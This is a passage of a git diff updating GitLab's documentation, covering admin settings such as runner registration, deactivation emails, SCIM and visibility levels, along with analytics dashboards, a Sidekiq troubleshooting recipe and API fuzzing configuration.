project or group must contact administrators to enable runner registration in the group or project. If you plan to prevent registration, ensure users have access to the runners they need to run jobs. + By default, all members of a project and group are able to register runners. To restrict all users in an instance from registering runners: @@ -347,8 +349,10 @@ To restrict all users in an instance from registering runners: information in the UI for group or project members. 1. Select **Save changes**. -WARNING: -When the registration sections are hidden in the UI, members of the project or group that need to register runners must contact the administrators. If you plan to prevent registration, ensure users have access to the runners they need to run jobs. +NOTE: +After you disable runner registration by members of a project, the registration +token automatically rotates. The token is no longer valid and you must +use the new registration token for the project. ## Restrict runner registration by all members in a group diff --git a/doc/user/admin_area/settings/email.md b/doc/user/admin_area/settings/email.md index 6d2a3c2cdae..484f51d8739 100644 --- a/doc/user/admin_area/settings/email.md +++ b/doc/user/admin_area/settings/email.md @@ -84,6 +84,27 @@ To disable these notifications: 1. Clear the **Enable user deactivation emails** checkbox. 1. Select **Save changes**. +### Custom additional text in deactivation emails **(FREE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/355964) in GitLab 15.9 [with a flag](../../../administration/feature_flags.md) named `deactivation_email_additional_text`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, ask an +administrator to [enable the feature flag](../../../administration/feature_flags.md) named +`deactivation_email_additional_text`. On GitLab.com, this feature is unavailable. + +You can add additional text at the bottom of the email that GitLab sends to users when their account +is deactivated. This email text is separate from the [custom additional text](#custom-additional-text) +setting. + +To add additional text to deactivation emails: + +1. On the top bar, select **Main menu > Admin**. +1. On the left sidebar, select **Settings > Preferences** (`/admin/application_settings/preferences`). +1. Expand **Email**. +1. Enter your text in the **Additional text for deactivation email** field. +1. Select **Save changes**. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md index 09ac477b062..94d9ec73640 100644 --- a/doc/user/admin_area/settings/external_authorization.md +++ b/doc/user/admin_area/settings/external_authorization.md @@ -96,7 +96,7 @@ When denying access, a `reason` can be optionally specified in the JSON body: Any other status code than 200, 401 or 403 also deny access to the user, but the response isn't cached. -If the service times out (after 500ms), a message "External Policy Server did +If the service times out (after 500 ms), a message "External Policy Server did not respond" is displayed. ## Classification labels diff --git a/doc/user/admin_area/settings/floc.md b/doc/user/admin_area/settings/floc.md index f8137afa40f..451acc07240 100644 --- a/doc/user/admin_area/settings/floc.md +++ b/doc/user/admin_area/settings/floc.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Federated Learning of Cohorts (FLoC) is a new feature of the Chrome browser. It works by categorizing users into different cohorts, so that advertisers can use this data to uniquely target and track users. For more -information, visit the [FLoC repository](https://github.com/WICG/floc). +information, see the [FLoC repository](https://github.com/WICG/floc). To avoid users being tracked and categorized in any GitLab instance, FLoC is disabled by default by sending the following header: diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index b2b702bde7c..5a550f15a41 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -49,7 +49,6 @@ The **General** settings contain: - [External Authentication](external_authorization.md#configuration) - External Classification Policy Authorization. - [Web terminal](../../../administration/integration/terminal.md#limiting-websocket-connection-time) - Set max session time for web terminal. -- [Web IDE](../../project/web_ide/index.md#enable-live-preview) - Manage Web IDE features. - [FLoC](floc.md) - Enable or disable [Federated Learning of Cohorts (FLoC)](https://en.wikipedia.org/wiki/Federated_Learning_of_Cohorts) tracking. @@ -87,7 +86,7 @@ The **Integrations** settings contain: to receive invite email bounce events from Mailgun, if it is your email provider. - [PlantUML](../../../administration/integration/plantuml.md) - Allow rendering of PlantUML diagrams in documents. -- [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) - +- [Slack application](../../../user/project/integrations/gitlab_slack_application.md) - Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). @@ -118,7 +117,7 @@ The **Metrics and profiling** settings contain: The **Network** settings contain: - Performance optimization - Various settings that affect GitLab performance, including: - - [Write to `authorized_keys` file](../../../administration/operations/fast_ssh_key_lookup.md#setting-up-fast-lookup-via-gitlab-shell). + - [Write to `authorized_keys` file](../../../administration/operations/fast_ssh_key_lookup.md#set-up-fast-lookup). - [Push event activities limit and bulk push events](push_event_activities_limit.md). - [User and IP rate limits](user_and_ip_rate_limits.md) - Configure limits for web and API requests. These rate limits can be overridden: diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md index 5be9081d9b2..1e7c75363ab 100644 --- a/doc/user/admin_area/settings/project_integration_management.md +++ b/doc/user/admin_area/settings/project_integration_management.md @@ -28,7 +28,7 @@ Only the complete settings for an integration can be inherited. Per-field inheri 1. Enter configuration details and select **Save changes**. WARNING: -This may affect all or most of the groups and projects on your GitLab instance. Please review the details +This may affect all or most of the groups and projects on your GitLab instance. Review the details below. If this is the first time you are setting up instance-level settings for an integration: @@ -82,7 +82,7 @@ for an integration. 1. Enter configuration details and select **Save changes**. WARNING: -This may affect all or most of the subgroups and projects belonging to the group. Please review the details below. +This may affect all or most of the subgroups and projects belonging to the group. Review the details below. If this is the first time you are setting up group-level settings for an integration: diff --git a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md index 3c6fd4b1e45..547e543ab88 100644 --- a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md +++ b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md @@ -22,7 +22,7 @@ For example, if you set a limit of 300, requests using the [Projects::IssuesController#create](https://gitlab.com/gitlab-org/gitlab/blob/master/app/controllers/projects/issues_controller.rb) action exceeding a rate of 300 per minute are blocked. Access to the endpoint is allowed after one minute. -When using [epics](../../group/epics/index.md), epic creation will share this rate limit with issues. +When using [epics](../../group/epics/index.md), epic creation shares this rate limit with issues.  diff --git a/doc/user/admin_area/settings/rate_limit_on_pipelines_creation.md b/doc/user/admin_area/settings/rate_limit_on_pipelines_creation.md index 820f7eaf854..152ef535ff8 100644 --- a/doc/user/admin_area/settings/rate_limit_on_pipelines_creation.md +++ b/doc/user/admin_area/settings/rate_limit_on_pipelines_creation.md @@ -16,7 +16,7 @@ the eleventh request is blocked. Access to the endpoint is allowed again after o This limit is: -- Applied independently per project, user, and commit. +- Applied to the number of pipelines created for the same combination of project, commit, and user. - Not applied per IP address. - Disabled by default. diff --git a/doc/user/admin_area/settings/scim_setup.md b/doc/user/admin_area/settings/scim_setup.md new file mode 100644 index 00000000000..fd6e3061140 --- /dev/null +++ b/doc/user/admin_area/settings/scim_setup.md @@ -0,0 +1,34 @@ +--- +type: reference, howto +stage: Manage +group: Authentication and Authorization +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Configure SCIM for self-managed GitLab instances **(PREMIUM SELF)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8902) in GitLab 15.8. + +You can use the open standard System for Cross-domain Identity Management (SCIM) to automatically: + +- Create users. +- Remove users (deactivate SCIM identity). + +The [internal GitLab SCIM API](../../../development/internal_api/index.md#instance-scim-api) implements part of [the RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). + +If you are a GitLab.com user, see [configuring SCIM for GitLab.com groups](../../../user/group/saml_sso/scim_setup.md). + +## Configure GitLab + +Prerequisites: + +- Configure [SAML single sign-on](../../../integration/saml.md). + +To configure GitLab SCIM: + +1. On the top bar, select **Main menu > Admin area**. +1. On the left sidebar, select **Settings > General**. +1. Expand the **SCIM Token** section and select **Generate a SCIM token**. +1. For configuration of your identity provider, save the: + - Token from the **Your SCIM token** field. + - URL from the **SCIM API endpoint URL** field. diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index d663238a88c..82a54787101 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -149,7 +149,7 @@ period in hours. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218457) in GitLab 13.2. When enabled, GitLab notifies users of sign-ins from unknown IP addresses or devices. For more information, -see [Email notification for unknown sign-ins](../../profile/unknown_sign_in_notification.md). +see [Email notification for unknown sign-ins](../../profile/notifications.md#notifications-for-unknown-sign-ins).  diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md index 8aabe503065..c44901b1ad7 100644 --- a/doc/user/admin_area/settings/sign_up_restrictions.md +++ b/doc/user/admin_area/settings/sign_up_restrictions.md @@ -48,7 +48,7 @@ automatically approved in a background job. NOTE: This setting doesn't apply to LDAP or OmniAuth users. To enforce approvals for new users signing up using OmniAuth or LDAP, set `block_auto_created_users` to `true` in the -[OmniAuth configuration](../../../integration/omniauth.md#configure-initial-settings) or +[OmniAuth configuration](../../../integration/omniauth.md#configure-common-settings) or [LDAP configuration](../../../administration/auth/ldap/index.md#basic-configuration-settings). ## Require email confirmation @@ -142,7 +142,7 @@ Existing passwords are unaffected. To change password complexity requirements: You can specify an inclusive or exclusive list of email domains which can be used for user sign up. These restrictions are only applied during sign up from an external user. An administrator can add a -user through the administrator panel with a disallowed domain. Also, note that the users can change their +user through the administrator panel with a disallowed domain. The users can also change their email addresses to disallowed domains after sign up. ### Allowlist email domains diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index 8b9f09d9df5..212769ed89b 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -27,7 +27,7 @@ There are several other benefits to enabling Service Ping: - Analyze the users' activities over time of your GitLab installation. - A [DevOps Score](../analytics/dev_ops_reports.md#devops-score) to give you an overview of your entire instance's adoption of concurrent DevOps from planning to monitoring. -- More proactive support (assuming that our TAMs and support organization used the data to deliver more value). +- More proactive support (assuming that our [Customer Success Managers (CSMs)](https://about.gitlab.com/job-families/sales/customer-success-management/) and support organization used the data to deliver more value). - Insight and advice into how to get the most value out of your investment in GitLab. - Reports that show how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes. - Participation in our [Registration Features Program](#registration-features-program) to receive free paid features. diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md index e285275f5bb..9b8718fc336 100644 --- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md +++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md @@ -140,7 +140,7 @@ It is important that your load balancer erases or overwrites the bypass header on all incoming traffic. Otherwise, you must trust your users to not set that header and bypass the GitLab rate limiter. -Note that the bypass only works if the header is set to `1`. +The bypass works only if the header is set to `1`. Requests that bypassed the rate limiter because of the bypass header are marked with `"throttle_safelist":"throttle_bypass_header"` in @@ -209,7 +209,7 @@ To enable dry run mode for all throttles, the variable can be set to `*`. Setting a throttle to dry run mode logs a message to the [`auth.log`](../../../administration/logs/index.md#authlog) when it would hit the limit, while letting the -request continue as normal. The log message contains an `env` field set to `track`. The `matched` +request continue. The log message contains an `env` field set to `track`. The `matched` field contains the name of throttle that was hit. It is important to set the environment variable **before** enabling diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md index 5ca942a42bb..acff483e4f8 100644 --- a/doc/user/admin_area/settings/visibility_and_access_controls.md +++ b/doc/user/admin_area/settings/visibility_and_access_controls.md @@ -61,19 +61,19 @@ Instance-level protection against accidental deletion of groups and projects. > [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/352960) in GitLab 15.1. -Groups and projects will remain restorable within a defined retention period. By default this is 7 days but it can be changed. +Groups and projects remain restorable within a defined retention period. By default this is 7 days but it can be changed. Setting the retention period to `0` means that groups and project are removed immediately and cannot be restored. In GitLab 15.1 and later, the retention period must be between `1` and `90`. If the retention period was `0` before the 15.1 update, -then it will get automatically changed to `1` while also disabling deletion protection the next time any application setting is changed. +then it gets automatically changed to `1` while also disabling deletion protection the next time any application setting is changed. ### Delayed project deletion > User interface [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/352960) in GitLab 15.1. Administrators can enable [delayed project deletion](../../project/settings/index.md#delayed-project-deletion) by default for -newly-created groups. Group owners can choose to disable this and existing groups will retain their existing setting. When enabled -deleted groups will remain restorable within a retention period. +newly-created groups. Group owners can choose to disable this. When disabled, existing groups retain their existing setting. When enabled +deleted groups remain restorable within a retention period. To configure delayed project deletion: @@ -95,7 +95,7 @@ In GitLab 15.1, and later this setting is enforced on groups when disabled and i > User interface [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352960) in GitLab 15.1. -Groups will remain restorable if the retention period is `1` or more days. +Groups remain restorable if the retention period is `1` or more days. In GitLab 15.1 and later, delayed group deletion can be enabled by setting **Deletion projection** to **Keep deleted**. @@ -155,18 +155,23 @@ For more details on group visibility, see ## Restrict visibility levels -To restrict visibility levels for projects, snippets, and selected pages: +To restrict visibility levels for groups, projects, snippets, and selected pages: 1. Sign in to GitLab as a user with Administrator access level. 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > General**. 1. Expand the **Visibility and access controls** section. 1. In the **Restricted visibility levels** section, select the desired visibility levels to restrict. - If you restrict the **Public** level: - - User profiles are only visible to authenticated users via the Web interface. - - User attributes via the GraphQL API are: - - Not visible in [GitLab 15.1 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88020). - - Only visible to authenticated users between [GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33195) and GitLab 15.0. + - If you restrict the **Public** level: + - Only administrators are able to create public groups, projects, and snippets. + - User profiles are only visible to authenticated users through the Web interface. + - User attributes through the GraphQL API are: + - Not visible in [GitLab 15.1 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88020). + - Only visible to authenticated users between [GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33195) and GitLab 15.0. + - If you restrict the **Internal** level: + - Only administrators are able to create internal groups, projects, and snippets. + - If you restrict the **Private** level: + - Only administrators are able to create private groups, projects, and snippets. 1. Select **Save changes**. For more details on project visibility, see @@ -200,7 +205,9 @@ To enable the export of > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. -You can enable migration of groups by direct transfer. To also migrate projects with the groups, you must enable the +You can enable migration of groups by direct transfer using the UI. + +To also migrate projects with the groups, you must enable the [`bulk_import_projects` feature flag](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). To enable migration of groups by direct transfer: @@ -213,6 +220,10 @@ To enable migration of groups by direct transfer: 1. Select the **Enabled** checkbox. 1. Select **Save changes**. +The same setting +[is available](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls) in the API as the +`bulk_import_enabled` attribute. + ## Configure enabled Git access protocols With GitLab access restrictions, you can select the protocols users can use to diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md index 86f1e24429b..fae9545003f 100644 --- a/doc/user/analytics/code_review_analytics.md +++ b/doc/user/analytics/code_review_analytics.md @@ -10,19 +10,19 @@ info: To determine the technical writer assigned to the Stage/Group associated w > Moved to GitLab Premium in 13.9. -Use code review analytics to view review metrics per merge request and -make improvements to your code review process: +Code review analytics displays a table of open merge requests that have at least one non-author comment. +The review time is the amount of time since the first comment by a non-author in a merge request. + +You can use code review analytics to view review metrics per merge request +and improve your code review process. - A high number of comments or commits may indicate: - - The code is too complex. + - Code that is too complex. - Authors who require more training. - A long review time may indicate: - Types of work that move slower than other types. - Opportunities to accelerate your development cycle. -- Fewer comments and approvers may indicate staffing requirements. - -Code review analytics displays a table of open merge requests that have at least one non-author comment. -The review time is measured from when the first non-author comment was submitted. +- Few comments and approvers may indicate a lack of available team members. ## View code review analytics @@ -34,4 +34,18 @@ To view code review analytics: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Analytics > Code Review**. -1. Filter merge requests by milestone and label. +1. Optional. Filter results: + 1. Select the filter bar. + 1. Select a parameter. You can filter merge requests by milestone and label. + 1. Select a value for the selected parameter. + +The table shows up to 20 merge requests in review per page, +and includes the following information about each merge request: + +- Merge request title +- Review time +- Author +- Approvers +- Comments +- Commits +- Line changes diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md index 1d1127c3d9f..69ba5a67197 100644 --- a/doc/user/analytics/merge_request_analytics.md +++ b/doc/user/analytics/merge_request_analytics.md @@ -13,18 +13,19 @@ info: To determine the technical writer assigned to the Stage/Group associated w Use merge request analytics to view: - The number of merge requests your organization merged per month. -- The average time between merge request creation and merge. -- Information about each merged merge request. +- The average time between merge request creation and merge event. +- Information about each merged merge request (such as milestone, commits, line changes, and assignees). You can use merge request analytics to identify: - Low or high productivity months. -- Efficiency and productivity of your merge request process. -- Efficiency of your code review process. +- The efficiency and productivity of your merge request and code review processes. ## View merge request analytics -You must have at least the Reporter role to view merge request analytics. +Prerequisite: + +- You must have at least the Reporter role. To view merge request analytics: @@ -52,17 +53,26 @@ The **Throughput** chart shows issues closed or merge requests merged (not close time. The table shows up to 20 merge requests per page, and includes -information about each merge request. +the following information about each merge request: + +- Merge request name +- Date merged +- Time to merge +- Milestone +- Commits +- Pipelines +- Line changes +- Assignees ## View average time between merge request creation and merge > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229389) in GitLab 13.9. -Use the number in **Mean time to merge** to view the average time between when a merge request is -created and when it's merged. Closed and un-merged merge requests are not included. +The number in **Mean time to merge** shows the average time between when a merge request is +created and when it's merged. Closed and not yet merged merge requests are not included. To view **Mean time to merge**: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Analytics > Merge request**. The **Mean time to merge** number -is shown on the dashboard. +is displayed on the dashboard. diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index 0906f7d17a7..093266e8aee 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -214,3 +214,33 @@ as every merge request should be tested. stream analytics dashboard shows the calculated median elapsed time for these issues. - Value stream analytics identifies production environments based on the [deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments). + +## Troubleshooting + +### 100% CPU utilization by Sidekiq `cronjob:analytics_cycle_analytics` + +It is possible that Value stream analytics background jobs +strongly impact performance by monopolizing CPU resources. + +To recover from this situation: + +1. Disable the feature for all projects in [the Rails console](../../administration/operations/rails_console.md), + and remove existing jobs: + + ```ruby + Project.find_each do |p| + p.analytics_access_level='disabled'; + p.save! + end + + Analytics::CycleAnalytics::GroupStage.delete_all + Analytics::CycleAnalytics::Aggregation.delete_all + ``` + +1. Configure a [Sidekiq routing](../../administration/sidekiq/processing_specific_job_classes.md) + with for example a single `feature_category=value_stream_management` + and multiple `feature_category!=value_stream_management` entries. + Find other relevant queue metadata in the + [Enterprise Edition list](../../administration/sidekiq/processing_specific_job_classes.md#list-of-available-job-classes). +1. Enable value stream analytics for one project after another. + You might need to tweak the Sidekiq routing further according to your performance requirements. diff --git a/doc/user/analytics/value_streams_dashboard.md b/doc/user/analytics/value_streams_dashboard.md index 1de26749deb..f8cfb1bf06b 100644 --- a/doc/user/analytics/value_streams_dashboard.md +++ b/doc/user/analytics/value_streams_dashboard.md @@ -16,6 +16,9 @@ The Value Streams Dashboard is a customizable dashboard to enable decision-maker This page is a work in progress, and we're updating the information as we add more features. For more information, see the [Value Stream Management category direction page](https://about.gitlab.com/direction/plan/value_stream_management/). +After the feature flag is enabled, to open the new page, append this path `/analytics/dashboards` to the group URL +(for example, `https://gitlab.com/groups/gitlab-org/-/analytics/dashboards`). + ## Initial use case Our initial use case is focused on providing the ability to compare software delivery metrics. @@ -59,3 +62,16 @@ For example, the parameter `query=gitlab-org/gitlab-foss,gitlab-org/gitlab,gitla - `gitlab-org` group - `gitlab-ui` project - `gitlab-org/plan-stage` subgroup + +## Dashboard metrics and drill-down reports + +| Metric | Description | Drill-down report | Documentation page | +| ------ | ----------- | --------------- | ------------------ | +| Deployment frequency | Average number of deployments to production per day. This metric measures how often value is delivered to end users. | [Deployment frequency tab](https://gitlab.com/groups/gitlab-org/-/analytics/ci_cd?tab=deployment-frequency) | [Deployment frequency](dora_metrics.md#deployment-frequency) | +| Lead time for changes | The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines. | [Lead time tab](https://gitlab.com/groups/gitlab-org/-/analytics/ci_cd?tab=lead-time) | [Lead time for changes](dora_metrics.md#lead-time-for-changes) | +| Time to restore service | The time it takes an organization to recover from a failure in production. | [Time to restore service tab](https://gitlab.com/groups/gitlab-org/-/analytics/ci_cd?tab=time-to-restore-service) | [Time to restore service](dora_metrics.md#time-to-restore-service) | +| Change failure rate | Percentage of deployments that cause an incident in production. | [Change failure rate tab](https://gitlab.com/groups/gitlab-org/-/analytics/ci_cd?tab=change-failure-rate) | [Change failure rate](dora_metrics.md#change-failure-rate) | +| VSA Lead time | Median time from issue created to issue closed. | [Value Stream Analytics](https://gitlab.com/groups/gitlab-org/-/analytics/value_stream_analytics) | [View the lead time and cycle time for issues](value_stream_analytics.md#view-the-lead-time-and-cycle-time-for-issues) | +| VSA Cycle time | Median time from the earliest commit of a linked issue's merge request to when that issue is closed. | [VSA overview](https://gitlab.com/groups/gitlab-org/-/analytics/value_stream_analytics) | [View the lead time and cycle time for issues](value_stream_analytics.md#view-the-lead-time-and-cycle-time-for-issues) | +| New issues | Number of new issues created. | [Issue Analytics](https://gitlab.com/groups/gitlab-org/-/issues_analytics) | Issue analytics [for projects](issue_analytics.md) and [for groups](../../user/group/issues_analytics/index.md) | +| Number of deploys | Total number of deploys to production. | [Merge Request Analytics](https://gitlab.com/gitlab-org/gitlab/-/analytics/merge_request_analytics) | [Merge request analytics](merge_request_analytics.md) | diff --git a/doc/user/application_security/api_fuzzing/create_har_files.md b/doc/user/application_security/api_fuzzing/create_har_files.md index 5e033a75902..0ad87facc50 100644 --- a/doc/user/application_security/api_fuzzing/create_har_files.md +++ b/doc/user/application_security/api_fuzzing/create_har_files.md @@ -109,7 +109,7 @@ responses in HAR format. have an account, first create an account. 1. Browse pages that call an API. Fiddler automatically captures the requests. 1. Select one or more requests, then from the context menu, select **Export > Selected Sessions**. -1. In the **Choose Format** dropdown list select **HTTP Archive v1.2**. +1. In the **Choose Format** dropdown list select **HTTPArchive v1.2**. 1. Enter a filename and select **Save**. Fiddler shows a popup message confirming the export has succeeded. @@ -211,7 +211,7 @@ Review the HAR file for any of the following: We strongly recommended that you [edit or remove it](#edit-or-remove-sensitive-information) any sensitive information. -Use the following as a checklist to start with. Note that it's not an exhaustive list. +Use the following as a checklist to start with. It's not an exhaustive list. - Look for secrets. For example: if your application requires authentication, check common locations or authentication information: diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index 31322419902..b55c5a1b299 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -26,7 +26,7 @@ Note the following changes have been made to the API fuzzing template: - In GitLab 14.0 and later, you must define a `fuzz` stage in your `.gitlab-ci.yml` file. - In GitLab 13.12 and earlier, the API fuzzing template defines `build`, `test`, `deploy`, and - `fuzz` stages. The `fuzz` stage runs last by default. The predefined stages were deprecated, and removed from the `API-Fuzzing.latest.gitlab-ci.yml` template. They will be removed in a future GitLab + `fuzz` stages. The `fuzz` stage runs last by default. The predefined stages were deprecated, and removed from the `API-Fuzzing.latest.gitlab-ci.yml` template. We plan to remove them in a future GitLab version. If your pipeline is configured to deploy to the same web server on each run, running a @@ -142,11 +142,11 @@ OpenAPI 2.x lets you specify the accepted media types globally or per operation, - In GitLab 14.9 and earlier, the default behavior is to perform testing using all supported media types. This means if two media types are listed (for example, `application/json` and `application/xml`), tests are performed using JSON, and then the same tests using XML. Testing the same operation (for example, `POST /user`) using different media types (for example, `application/json` and `application/xml`) is not always desirable. -For example, if the target application executes the same code regardless of the request content type, it will take longer to finish the test session, and it may report duplicate vulnerabilities related to the request body depending on the target app. +For example, if the target application executes the same code regardless of the request content type, it takes longer to finish the test session, and it may report duplicate vulnerabilities related to the request body depending on the target app. -The environment variable `FUZZAPI_OPENAPI_ALL_MEDIA_TYPES` lets you specify whether or not to use all supported media types instead of one when generating requests for a given operation. When the environmental variable `FUZZAPI_OPENAPI_ALL_MEDIA_TYPES` is set to any value, API Fuzzing will try to generate requests for all supported media types instead of one in a given operation. This will cause testing to take longer as testing is repeated for each provided media type. +The environment variable `FUZZAPI_OPENAPI_ALL_MEDIA_TYPES` lets you specify whether or not to use all supported media types instead of one when generating requests for a given operation. When the environmental variable `FUZZAPI_OPENAPI_ALL_MEDIA_TYPES` is set to any value, API Fuzzing tries to generate requests for all supported media types instead of one in a given operation. This causes testing to take longer as testing is repeated for each provided media type. -Alternatively, the variable `FUZZAPI_OPENAPI_MEDIA_TYPES` is used to provide a list of media types that will each be tested. Providing more than one media type causes testing to take longer, as testing is performed for each media type selected. When the environment variable `FUZZAPI_OPENAPI_MEDIA_TYPES` is set to a list of media types, only the listed media types are included when creating requests. +Alternatively, the variable `FUZZAPI_OPENAPI_MEDIA_TYPES` is used to provide a list of media types that each is tested. Providing more than one media type causes testing to take longer, as testing is performed for each media type selected. When the environment variable `FUZZAPI_OPENAPI_MEDIA_TYPES` is set to a list of media types, only the listed media types are included when creating requests. Multiple media types in `FUZZAPI_OPENAPI_MEDIA_TYPES` must separated by a colon (`:`). For example, to limit request generation to the media types `application/x-www-form-urlencoded` and `multipart/form-data`, set the environment variable `FUZZAPI_OPENAPI_MEDIA_TYPES` to `application/x-www-form-urlencoded:multipart/form-data`. Only supported media types in this list are included when creating requests, though unsupported media types are always skipped. A media type text may contain different sections. For example, `application/vnd.api+json; charset=UTF-8` is a compound of `type "/" [tree "."] subtype ["+" suffix]* [";" parameter]`. Parameters are not taken into account when filtering media types on request generation. @@ -1390,7 +1390,7 @@ By default the output of the overrides command is hidden. If the overrides comma It is also possible to write messages from your script to a log file that is collected when the job completes or fails. The log file must be created in a specific location and follow a naming convention. -Adding some basic logging to your overrides script is useful in case the script fails unexpectedly during normal running of the job. The log file is automatically included as an artifact of the job, allowing you to download it after the job has finished. +Adding some basic logging to your overrides script is useful in case the script fails unexpectedly during typical running of the job. The log file is automatically included as an artifact of the job, allowing you to download it after the job has finished. Following our example, we provided `renew_token.py` in the environmental variable `FUZZAPI_OVERRIDES_CMD`. Notice two things in the script: @@ -1499,7 +1499,7 @@ logging.info("Override file has been updated") # end ``` -In the overrides command example, the Python script depends on the `backoff` library. To make sure the library is installed before executing the Python script, the `FUZZAPI_PRE_SCRIPT` is set to a script that will install the dependencies of your overrides command. +In the overrides command example, the Python script depends on the `backoff` library. To make sure the library is installed before executing the Python script, the `FUZZAPI_PRE_SCRIPT` is set to a script that installs the dependencies of your overrides command. As for example, the following script `user-pre-scan-set-up.sh`: ```shell @@ -1589,7 +1589,7 @@ variables: While testing an API you may might want to exclude a parameter (query string, header, or body element) from testing. This may be needed because a parameter always causes a failure, slows down testing, or for other reasons. To exclude parameters you can use one of the following variables: `FUZZAPI_EXCLUDE_PARAMETER_ENV` or `FUZZAPI_EXCLUDE_PARAMETER_FILE`. -The `FUZZAPI_EXCLUDE_PARAMETER_ENV` allows providing a JSON string containing excluded parameters. This is a good option if the JSON is short and will not often change. Another option is the variable `FUZZAPI_EXCLUDE_PARAMETER_FILE`. This variable is set to a file path that can be checked into the repository, created by another job as an artifact, or generated at runtime from a pre-script using `FUZZAPI_PRE_SCRIPT`. +The `FUZZAPI_EXCLUDE_PARAMETER_ENV` allows providing a JSON string containing excluded parameters. This is a good option if the JSON is short and can not often change. Another option is the variable `FUZZAPI_EXCLUDE_PARAMETER_FILE`. This variable is set to a file path that can be checked into the repository, created by another job as an artifact, or generated at runtime from a pre-script using `FUZZAPI_PRE_SCRIPT`. #### Exclude parameters using a JSON document @@ -1991,7 +1991,7 @@ Repeat this configuration for each profile as needed. When configured correctly, a CI/CD pipeline contains a `fuzz` stage and an `apifuzzer_fuzz` or `apifuzzer_fuzz_dnd` job. The job only fails when an invalid configuration is provided. During -normal operation, the job always succeeds even if faults are identified during fuzz testing. +typical operation, the job always succeeds even if faults are identified during fuzz testing. Faults are displayed on the **Security** pipeline tab with the suite name. When testing against the repositories default branch, the fuzzing faults are also shown on the Security & Compliance's @@ -2026,7 +2026,7 @@ Follow these steps to view details of a fuzzing fault: 1. You can view faults in a project, or a merge request: - - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report** + - In a project, go to the project's **Security & Compliance > Vulnerability Report** page. This page shows all vulnerabilities from the default branch only. - In a merge request, go the merge request's **Security** section and select the **Expand** button. API Fuzzing faults are available in a section labeled @@ -2042,7 +2042,7 @@ Follow these steps to view details of a fuzzing fault: | Method | HTTP method used to detect the vulnerability. | | URL | URL at which the vulnerability was detected. | | Request | The HTTP request that caused the fault. | - | Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. | + | Unmodified Response | Response from an unmodified request. This is what a typical working response looks like. | | Actual Response | Response received from fuzzed request. | | Evidence | How we determined a fault occurred. | | Identifiers | The fuzzing check used to find this fault. | @@ -2377,7 +2377,7 @@ apifuzzer_v2: In the case of one or two slow operations, the team might decide to skip testing the operations, or exclude them from feature branch tests, but include them for default branch tests. Excluding the operation is done using the `FUZZAPI_EXCLUDE_PATHS` configuration [variable as explained in this section.](#exclude-paths) -In this example, we have an operation that returns a large amount of data. The operation is `GET http://target:7777/api/large_response_json`. To exclude it we 